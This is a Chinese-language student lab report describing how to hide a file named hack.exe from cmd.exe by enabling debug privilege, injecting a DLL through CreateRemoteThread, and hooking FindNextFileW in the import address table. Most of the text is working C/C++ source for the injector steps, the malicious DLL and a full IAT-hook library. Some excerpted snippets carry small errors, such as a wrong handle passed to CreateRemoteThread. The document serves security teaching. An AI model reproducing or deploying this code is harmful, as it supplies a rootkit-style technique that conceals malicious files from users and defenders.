一 实验目的

  • 实现基于远程线程注入 + IAT Hook的文件隐藏功能

二 实验内容

  1. 分析explorer.exe和cmd.exe等可以查看文件目录的系统程序遍历文件的实现机制
  2. 通过IAT Hook的方法篡改它们的导入表,使这两个程序查看不到文件系统中指定名称的文件。

三 实验过程

1、主程序

(1)功能

  • 将自己编写的包含有攻击代码的dll文件注入到目标进程(本实验选择注入到“cmd.exe”)

(2)代码逻辑

  • 提升本进程权限——>获取目标进程的PID——>获得要注入进程的句柄——>在远程进程中开辟出一段内存——>将包含恶意代码的dll的名字写入上一步开辟出的内存中——>在被注入进程中创建新线程加载该dll——>卸载注入的dll

**

(3)实现细节

① 提升本进程权限

  • 目的:在操作系统进程时,需要提升自己编写的进程到系统权限,以免发生操作失败现象
  • 所用函数: ```c //获取当前进程句柄 GetCurrentProcess()

//获得进程访问令牌的句柄。第一参数是要修改访问权限的进程句柄;第二个参数指定要进行的操作类型(TOKEN_ADJUST_PRIVILEGES:修改令牌的访问权限,TOKEN_QUERY:查询令牌);第三个参数是返回的访问令牌指针 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);:

//获取一个权限对应的LUID值(代表指定的特权名称),第一个参数是系统的名称(本地系统为NULL),第二个参数指明权限的名称(SE_DEBUG_NAME:Required to debug and adjust the memory of a process owned by another account.);第三个参数返回LUID的指针 LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);

//根据上一步获取的LUID值,为相应特权赋予新的特权属性(SE_PRIVILEGE_ENABLED:特权启用.)。 TOKEN_PRIVILEGES tkp; tkp.Privileges[0].Luid = luid; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

//对之前获得的访问令牌进行修改,使进程获得调试权。第一个参数是访问令牌的句柄;第二个参数为FALSE表示根据后一个参数进行权限修改;第三个参数指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针 AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL);

  1. <a name="lP3eZ"></a>
  2. #### ②获取目标进程的句柄(通过进程名或PID)
  3. - 目的:PID为进程唯一标识,获取后方便后面获取目标进程的句柄
  4. - 所用函数:getProcessHandle();
  5. <a name="yFHo3"></a>
  6. #### ③ 获得要注入进程的句柄
  7. - 目的:获得目标进程操作内存空间的权限(可用VirtualProtectEx和WriteProcessMemory)
  8. - 所用函数:
  9. HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwpid);
  10. <a name="fe315348"></a>
  11. #### ④在远程进程中开辟出一段内存
  12. - 目的:开辟空间用来存放要调用的dll的路径
  13. - 所用函数:
  14. ```c
  15. //name + ’\0’
  16. DWORD dwSize = strlen(lpDllName) + 1;
  17. //在指定进程内开辟虚拟空间,第一个参数:申请内存所在的进程句柄;第二个参数:保留页面的内存地址;一般用NULL自动分配;第三个参数:欲分配的内存大小。MEM_COMMIT:为特定的页面区域分配物理存储;PAGE_READWRITE:区域可被应用程序读写
  18. LPVOID lpRemoteBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

⑤将包含恶意代码的dll的名字写入上一步开辟出的内存中

  • 所用函数: ```c //写入内存,函数执行成功返回写入的字节数 WriteProcessMemory(hProcess, lpRemoteBuf, lpDllName, dwSize,(SIZE_T*)&dwHasWrite);

//若写入失败,应释放之前分配的内存 VirtualFreeEx(hProcess, lpRemoteBuf, dwSize, MEM_COMMIT);

  1. <a name="ohoge"></a>
  2. #### ⑥在被注入进程中创建新线程加载该dll
  3. - 目的:调用dll执行恶意代码
  4. - 所用函数:
  5. ```c
  6. DWORD dwNewThreadId;
  7. //使用LoadLibrary函数来加载动态链接库
  8. LPVOID lpLoadDll = LoadLibraryA;
  9. //创建远程线程,第一个参数为线程所属进程的进程句柄;第三个参数为线程初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小;第四个参数为在远程进程的地址空间中,该线程的线程函数的起始地址.
  10. HANDLE hNewRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadDll, lpRemoteBuf, 0, &dwNewThreadId);

⑦卸载注入的dll

  • 思路:获得在远程线程中被注入的Dll的句柄 —> 卸载Dll
  • 所用函数:
    1. //获得在远程线程中被注入的Dll的句柄
    2. LPVOID pFunc = GetModuleHandleA; //获取DLL模块的路径
    3. HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpRemoteBuf, 0, &dwID);
    4. GetExitCodeThread(hThread, &dwHandle); //线程的结束码即为Dll模块儿的句柄,存入dwHandle中
    5. //将FreeLibraryA注入到远程线程中卸载Dll
    6. pFunc = FreeLibrary;
    7. hThread = CreateRemoteThread(hThread, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwHandle, 0, &dwID);

2、IATHOOK程序(fakedll.dll中调用的攻击代码)

(1)功能

  • 程序中每个调用 API 函数的 CALL 指令所使用的地址都是相应函数登记在 IAT 表的地址,我们将目标进程(cmd.exe)中的FindNextFileW函数(遍历文件目录时使用,存储了文件名等信息)在IAT表中的地址替换为攻击者编写的虚假FindNextFileW函数地址,其中在读到指定文件时在cmd.exe界面上不会显示该文件文件名,起到文件隐藏的作用。程序中每个调用 API 函数的 CALL 指令所使用的地址都是相应函数登记在 IAT 表的地址。

(2)代码逻辑

image.png

(3)具体实现

① 编写假API函数

  • 思路:先调用原始findnextfile函数,根据返回的文件名确定是否是要隐藏的文件,若是则不显示此次调用的结果,直接再次调用findnextfile函数;若不是则将结果直接返回。
  • 实现代码:
    1. //遍历IAT表获得API函数真实地址
    2. pHookBlock->pOrigin = (void*)pRealThunk->u1.Function;
    3. //调用原始findnextfile函数
    4. bool val = fnOrigin(hFindFile, lpFindFileData);
    5. //返回结果的文件名与待隐藏文件文件名比较,相同则跳过
    6. if (0 == wcscmp(File, (wchar_t*)lpFindFileData->cFileName))//调用之后进行判断是否为目标文件
    7. {return fnOrigin(hFindFile, lpFindFileData);}

②申请一块空白空间来放置假API函数

  • 实现代码:
    1. //分配指定大小内存空间
    2. pMemory = malloc(nNeedSize);
    3. //清零该内存空间
    4. RtlZeroMemory(pMemory, nNeedSize);

③将有关参数写入申请的内存中

  • 实现代码:
    1. pHookBlock->pImageBase = pImageBase;//写入dll文件的基地址
    2. pHookBlock->pszImportDllName = pszImportDllName;//写入加载的dll名称
    3. pHookBlock->pszRoutineName = pszRoutineName;//写入调用的API函数的名称
    4. pHookBlock->pFake = pFakeRoutine;//写入编写的假API函数

④获取目标进程导入表地址,遍历导入表获得findnextfile函数所在dll的位置

  • 实现代码:
    1. //dos头位于进程基地址
    2. pDosHeader = (IMAGE_DOS_HEADER*)pHookBlock->pImageBase;
    3. //通过dos头找到nt头
    4. pNTHeaders = (IMAGE_NT_HEADERS)((UCHAR)pHookBlock->pImageBase + pDosHeader->e_lfanew);
    5. //获取导入表实际地址
    6. pImportDescriptor = (IMAGE_IMPORT_DESCRIPTOR)((UCHAR)pDosHeader + pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    7. for (; (pImportDescriptor->Name != 0); pImportDescriptor++)
    8. {
    9. pszImportDllName = (char*)pHookBlock->pImageBase + pImportDescriptor->Name;
    10. if (NULL != pHookBlock->pszImportDllName)
    11. {
    12. //比较是否是需要寻找的dll,找到地址后进行下一步操作
    13. if (0 != _stricmp(pszImportDllName, pHookBlock->pszImportDllName))
    14. {
    15. continue;
    16. }
    17. }
    18. }

⑤ 找到指定dll的地址后,在IAT表中该dll下包含的API函数中寻找findnextfile加载后的实际地址

  • 实现代码:
    1. pOriginThunk = (IMAGE_THUNK_DATA)((UCHAR)pHookBlock->pImageBase + pImportDescriptor->OriginalFirstThunk);//指向INT表
    2. pRealThunk = (IMAGE_THUNK_DATA)((UCHAR)pHookBlock->pImageBase + pImportDescriptor->FirstThunk);//在PE文件装入内存之后,FirstThunk所指向的IMAGE_THUNK_DATA数组内容变更为导入函数的实际地址(IAT表)
    3. //循环测试,找到API函数实际地址后进行下一步操作
    4. for (; 0 != pOriginThunk->u1.Function; pOriginThunk++, pRealThunk++)//pOriginThunk->u1.Function:待扫描函数个数
    5. {
    6. if ((USHORT)pHookBlock->pszRoutineName == LOWORD(pOriginThunk->u1.Ordinal))
    7. {
    8. pHookBlock->pOrigin = (void*)pRealThunk->u1.Function;
    9. _IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pFake);//进行下一步替换操作
    10. }
    11. }

⑥ 更该区域保护属性,使我们对指定内存区域可操作,由此可将原始findnextfile函数的地址替换为假API函数的地址。

  • 实现代码:
    1. //修改内存属性,第一个参数为要改变属性的内存起始地址;第二个参数为要改变属性的内存区域大小;第三个参数为指定的新属性;第四个参数为原始属性保存位置
    2. bFlag = VirtualProtect(pAddress, sizeof(void*), PAGE_EXECUTE_READWRITE, &nOldProtect);
    3. pWriteableAddr = pAddress; //原始findnextfile函数地址
    4. //替换地址,pvalue假函数地址
    5. nOldValue = InterlockedExchangePointer((PVOID*)pWriteableAddr, pValue);
    6. //重设内存属性,改为原始值
    7. VirtualProtect(pAddress, sizeof(void*), nOldProtect, &nOldProtect);
  1. #include"stdafx.h"
  2. #include <Windows.h>
  3. #include<iostream>
  4. #include<string>
  5. #include<tchar.h>
  6. using namespace std;
  7. #define WIN32_LEAN_AND_MEAN
  8. extern "C" __declspec(dllexport)
  9. LONG UnIATHook(__in HANDLE hHook);
  10. void* GetIATHookOrign(__in HANDLE hHook);
  11. typedef int(__stdcall *LPFN_FindNextFile)(_In_ HANDLE hFindFile, _Out_ LPWIN32_FIND_DATA lpFindFileData);
  12. LONG IATHook(
  13. __in_opt void* pImageBase,
  14. __in_opt char* pszImportDllName,
  15. __in char* pszRoutineName,
  16. __in void* pFakeRoutine,
  17. __out HANDLE* phHook
  18. );
  19. HANDLE g_hHook_FindNextFile = NULL;
  20. //////////////////////////////////////////////////////////////////////////
  21. bool __stdcall Fake_FindNextFile(_In_ HANDLE hFindFile, _Out_ LPWIN32_FIND_DATA lpFindFileData)
  22. {
  23. LPFN_FindNextFile fnOrigin = (LPFN_FindNextFile)GetIATHookOrign(g_hHook_FindNextFile);
  24. wchar_t *File = L"hack.exe";
  25. bool val = fnOrigin(hFindFile, lpFindFileData);
  26. if (0 == wcscmp(File, (wchar_t*)lpFindFileData->cFileName))//调用之后进行判断是否为目标文件
  27. {
  28. return fnOrigin(hFindFile, lpFindFileData);//再调用一次原始的findnextfile
  29. }
  30. return val;
  31. }
  32. DWORD WINAPI IAT(LPVOID lpParam)
  33. {
  34. IATHook(
  35. GetModuleHandleW(NULL),
  36. "api-ms-win-core-file-l1-2-1.dll",
  37. "FindNextFileW",
  38. Fake_FindNextFile,
  39. &g_hHook_FindNextFile
  40. );
  41. return 0;
  42. }
  43. BOOL WINAPI DllMain(HANDLE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
  44. {
  45. switch (dwReason)
  46. {
  47. case DLL_PROCESS_ATTACH:
  48. CreateThread(NULL, NULL,IAT, NULL, NULL, NULL);
  49. break;
  50. case DLL_PROCESS_DETACH:
  51. break;
  52. case DLL_THREAD_ATTACH:
  53. break;
  54. case DLL_THREAD_DETACH:
  55. break;
  56. }
  57. return TRUE;
  58. }
  1. // windows IATHook for kernelmode and usermode
  2. // by TinySec( root@tinysec.net )
  3. // you can free use this code , but if you had modify , send a copy to to my email please.
  4. #include<iostream>
  5. using namespace std;
  6. #include"stdafx.h"
  7. LONG IATHook
  8. (
  9. __in void* pImageBase ,
  10. __in_opt char* pszImportDllName ,
  11. __in char* pszRoutineName ,
  12. __in void* pFakeRoutine ,
  13. __out HANDLE* Param_phHook
  14. );
  15. LONG UnIATHook( __in HANDLE hHook );
  16. void* GetIATHookOrign( __in HANDLE hHook );
  17. //////////////////////////////////////////////////////////////////////////
  18. #ifdef _RING0
  19. #include <ntddk.h>
  20. #include <ntimage.h>
  21. #else
  22. #include <windows.h>
  23. #include <stdlib.h>
  24. #endif //#ifdef _RING0
  25. //////////////////////////////////////////////////////////////////////////
  26. typedef struct _IATHOOK_BLOCK
  27. {
  28. void* pOrigin;
  29. void* pImageBase;
  30. char* pszImportDllName;
  31. char* pszRoutineName;
  32. void* pFake;
  33. }IATHOOK_BLOCK;
  34. //////////////////////////////////////////////////////////////////////////
  35. void* _IATHook_Alloc(__in ULONG nNeedSize)
  36. {
  37. void* pMemory = NULL;
  38. do
  39. {
  40. if (0 == nNeedSize)
  41. {
  42. break;
  43. }
  44. #ifdef _RING0
  45. pMemory = ExAllocatePoolWithTag(NonPagedPool, nNeedSize, 'iath');
  46. #else
  47. pMemory = malloc(nNeedSize);
  48. #endif // #ifdef _RING0
  49. if (NULL == pMemory)
  50. {
  51. break;
  52. }
  53. RtlZeroMemory(pMemory, nNeedSize);//清零一块内存空间
  54. } while (FALSE);
  55. return pMemory;
  56. }
  57. ULONG _IATHook_Free(__in void* pMemory)//释放进程
  58. {
  59. do
  60. {
  61. if (NULL == pMemory)
  62. {
  63. break;
  64. }
  65. #ifdef _RING0
  66. ExFreePool(pMemory);
  67. #else
  68. free(pMemory);
  69. #endif // #ifdef _RING0
  70. pMemory = NULL;
  71. } while (FALSE);
  72. return 0;
  73. }
  74. //////////////////////////////////////////////////////////////////////////
  75. #ifdef _RING0
  76. #ifndef LOWORD
  77. #define LOWORD(l) ((USHORT)((ULONG_PTR)(l) & 0xffff))
  78. #endif // #ifndef LOWORD
  79. void* _IATHook_InterlockedExchangePointer(__in void* pAddress, __in void* pValue)
  80. {
  81. void* pWriteableAddr = NULL;
  82. PMDL pNewMDL = NULL;
  83. void* pOld = NULL;
  84. do
  85. {
  86. if ((NULL == pAddress))
  87. {
  88. break;
  89. }
  90. if (!NT_SUCCESS(MmIsAddressValid(pAddress)))
  91. {
  92. break;
  93. }
  94. pNewMDL = IoAllocateMdl(pAddress, sizeof(void*), FALSE, FALSE, NULL);
  95. if (pNewMDL == NULL)
  96. {
  97. break;
  98. }
  99. __try
  100. {
  101. MmProbeAndLockPages(pNewMDL, KernelMode, IoWriteAccess);
  102. pNewMDL->MdlFlags |= MDL_MAPPING_CAN_FAIL;
  103. pWriteableAddr = MmMapLockedPagesSpecifyCache(
  104. pNewMDL,
  105. KernelMode,
  106. MmNonCached,
  107. NULL,
  108. FALSE,
  109. HighPagePriority
  110. );
  111. //pWriteableAddr = MmMapLockedPages(pNewMDL, KernelMode);
  112. }
  113. __except (EXCEPTION_EXECUTE_HANDLER)
  114. {
  115. break;
  116. }
  117. if (pWriteableAddr == NULL)
  118. {
  119. MmUnlockPages(pNewMDL);
  120. IoFreeMdl(pNewMDL);
  121. break;
  122. }
  123. pOld = InterlockedExchangePointer(pWriteableAddr, pValue);
  124. MmUnmapLockedPages(pWriteableAddr, pNewMDL);
  125. MmUnlockPages(pNewMDL);
  126. IoFreeMdl(pNewMDL);
  127. } while (FALSE);
  128. return pOld;
  129. }
  130. //////////////////////////////////////////////////////////////////////////
  131. #else
  132. void* _IATHook_InterlockedExchangePointer(__in void* pAddress, __in void* pValue)
  133. {
  134. void* pWriteableAddr = NULL;
  135. void* nOldValue = NULL;
  136. ULONG nOldProtect = 0;
  137. BOOL bFlag = FALSE;
  138. do
  139. {
  140. if ((NULL == pAddress))
  141. {
  142. break;
  143. }
  144. bFlag = VirtualProtect(pAddress, sizeof(void*), PAGE_EXECUTE_READWRITE, &nOldProtect);
  145. if (!bFlag)
  146. {
  147. break;
  148. }
  149. pWriteableAddr = pAddress;
  150. nOldValue = InterlockedExchangePointer((PVOID*)pWriteableAddr, pValue);//替换地址,用一个32位值替换另一个32位值
  151. VirtualProtect(pAddress, sizeof(void*), nOldProtect, &nOldProtect);
  152. } while (FALSE);
  153. return nOldValue;
  154. }
  155. #endif // #ifdef _RING0
  156. LONG _IATHook_Single
  157. (
  158. __in IATHOOK_BLOCK* pHookBlock,//fake
  159. __in IMAGE_IMPORT_DESCRIPTOR* pImportDescriptor,//address
  160. __in BOOLEAN bHook
  161. )
  162. {
  163. LONG nFinalRet = -1;
  164. IMAGE_THUNK_DATA* pOriginThunk = NULL;
  165. IMAGE_THUNK_DATA* pRealThunk = NULL;
  166. IMAGE_IMPORT_BY_NAME* pImportByName = NULL;
  167. do
  168. {
  169. //查找函数位置
  170. pOriginThunk = (IMAGE_THUNK_DATA*)((UCHAR*)pHookBlock->pImageBase + pImportDescriptor->OriginalFirstThunk);//指向IAT表,存储API函数名称
  171. pRealThunk = (IMAGE_THUNK_DATA*)((UCHAR*)pHookBlock->pImageBase + pImportDescriptor->FirstThunk);//在PE文件装入内存之后,FirstThunk所指向的IMAGE_THUNK_DATA数组内容变更为导入函数的实际地址(VA)
  172. for (; 0 != pOriginThunk->u1.Function; pOriginThunk++, pRealThunk++)//pOriginThunk->u1.Function:待扫描函数个数
  173. {
  174. if (IMAGE_ORDINAL_FLAG == (pOriginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG))//序号or函数名引入
  175. {
  176. if ((USHORT)pHookBlock->pszRoutineName == LOWORD(pOriginThunk->u1.Ordinal))
  177. {
  178. if (bHook)//IAT hook
  179. {
  180. pHookBlock->pOrigin = (void*)pRealThunk->u1.Function;
  181. _IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pFake);//替换
  182. }
  183. else//UNIAT hook
  184. {
  185. _IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pOrigin);
  186. }
  187. nFinalRet = 0;
  188. break;
  189. }
  190. }
  191. else
  192. {
  193. pImportByName = (IMAGE_IMPORT_BY_NAME*)((char*)pHookBlock->pImageBase + pOriginThunk->u1.AddressOfData);
  194. if (0 == _stricmp(pImportByName->Name, pHookBlock->pszRoutineName))
  195. {
  196. if (bHook)
  197. {
  198. pHookBlock->pOrigin = (void*)pRealThunk->u1.Function;
  199. _IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pFake);
  200. }
  201. else
  202. {
  203. _IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pOrigin);
  204. }
  205. nFinalRet = 0;
  206. break;
  207. }
  208. }
  209. }
  210. } while (FALSE);
  211. return nFinalRet;
  212. }
  213. LONG _IATHook_Internal(__in IATHOOK_BLOCK* pHookBlock, __in BOOLEAN bHook)
  214. {
  215. LONG nFinalRet = -1;
  216. LONG nRet = -1;
  217. IMAGE_DOS_HEADER* pDosHeader = NULL;//DOS
  218. IMAGE_NT_HEADERS* pNTHeaders = NULL;//NT
  219. IMAGE_IMPORT_DESCRIPTOR* pImportDescriptor = NULL;
  220. char* pszImportDllName = NULL;
  221. do
  222. {
  223. if (NULL == pHookBlock)
  224. {
  225. break;
  226. }
  227. pDosHeader = (IMAGE_DOS_HEADER*)pHookBlock->pImageBase;//程序基地址
  228. if (IMAGE_DOS_SIGNATURE != pDosHeader->e_magic)
  229. {
  230. break;
  231. }
  232. pNTHeaders = (IMAGE_NT_HEADERS*)((UCHAR*)pHookBlock->pImageBase + pDosHeader->e_lfanew);//PE文件的头指针 = ImageBase + DosHeader->e_lfnew
  233. if (IMAGE_NT_SIGNATURE != pNTHeaders->Signature)
  234. {
  235. break;
  236. }
  237. //存在导入表
  238. if (0 == pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)//导入表起始RVA(当PE文件被装载到内存中后,某个数据的位置相对于文件头的偏移量)地址
  239. {
  240. break;
  241. }
  242. if (0 == pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size)
  243. {
  244. break;
  245. }
  246. pImportDescriptor = (IMAGE_IMPORT_DESCRIPTOR*)((UCHAR*)pDosHeader + pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);//实际地址
  247. // Find pszRoutineName in every Import descriptor
  248. nFinalRet = -1;
  249. for (; (pImportDescriptor->Name != 0); pImportDescriptor++)//
  250. {
  251. pszImportDllName = (char*)pHookBlock->pImageBase + pImportDescriptor->Name;
  252. if (NULL != pHookBlock->pszImportDllName)
  253. {
  254. if (0 != _stricmp(pszImportDllName, pHookBlock->pszImportDllName))
  255. {
  256. continue;
  257. }
  258. }
  259. nRet = _IATHook_Single(//找到了程序中的dll位置,进行替换
  260. pHookBlock,
  261. pImportDescriptor,
  262. bHook
  263. );
  264. if (0 == nRet)
  265. {
  266. nFinalRet = 0;
  267. break;
  268. }
  269. }
  270. } while (FALSE);
  271. return nFinalRet;
  272. }
  273. LONG IATHook
  274. (
  275. __in void* pImageBase,
  276. __in_opt char* pszImportDllName,
  277. __in char* pszRoutineName,
  278. __in void* pFakeRoutine,
  279. __out HANDLE* Param_phHook
  280. )
  281. {
  282. LONG nFinalRet = -1;
  283. IATHOOK_BLOCK* pHookBlock = NULL;
  284. do
  285. {
  286. if ((NULL == pImageBase) || (NULL == pszRoutineName) || (NULL == pFakeRoutine))
  287. {
  288. break;
  289. }
  290. pHookBlock = (IATHOOK_BLOCK*)_IATHook_Alloc(sizeof(IATHOOK_BLOCK));//分配一块空白内存
  291. if (NULL == pHookBlock)
  292. {
  293. break;
  294. }
  295. RtlZeroMemory(pHookBlock, sizeof(IATHOOK_BLOCK));
  296. pHookBlock->pImageBase = pImageBase;//dll文件的基地址
  297. pHookBlock->pszImportDllName = pszImportDllName;//加载的dll名称
  298. pHookBlock->pszRoutineName = pszRoutineName;//调用的API函数的名称
  299. pHookBlock->pFake = pFakeRoutine;//自建
  300. __try
  301. {
  302. nFinalRet = _IATHook_Internal(pHookBlock, TRUE);
  303. }
  304. __except (EXCEPTION_EXECUTE_HANDLER)
  305. {
  306. nFinalRet = -1;
  307. }
  308. } while (FALSE);
  309. if (0 != nFinalRet)
  310. {
  311. if (NULL != pHookBlock)
  312. {
  313. _IATHook_Free(pHookBlock);
  314. pHookBlock = NULL;
  315. }
  316. }
  317. if (NULL != Param_phHook)
  318. {
  319. *Param_phHook = pHookBlock;
  320. }
  321. return nFinalRet;
  322. }
  323. LONG UnIATHook(__in HANDLE hHook)
  324. {
  325. IATHOOK_BLOCK* pHookBlock = (IATHOOK_BLOCK*)hHook;
  326. LONG nFinalRet = -1;
  327. do
  328. {
  329. if (NULL == pHookBlock)
  330. {
  331. break;
  332. }
  333. __try
  334. {
  335. nFinalRet = _IATHook_Internal(pHookBlock, FALSE);
  336. }
  337. __except (EXCEPTION_EXECUTE_HANDLER)
  338. {
  339. nFinalRet = -1;
  340. }
  341. } while (FALSE);
  342. if (NULL != pHookBlock)
  343. {
  344. _IATHook_Free(pHookBlock);
  345. pHookBlock = NULL;
  346. }
  347. return nFinalRet;
  348. }
  349. void* GetIATHookOrign(__in HANDLE hHook)
  350. {
  351. IATHOOK_BLOCK* pHookBlock = (IATHOOK_BLOCK*)hHook;
  352. void* pOrigin = NULL;
  353. do
  354. {
  355. if (NULL == pHookBlock)
  356. {
  357. break;
  358. }
  359. pOrigin = pHookBlock->pOrigin;
  360. } while (FALSE);
  361. return pOrigin;
  362. }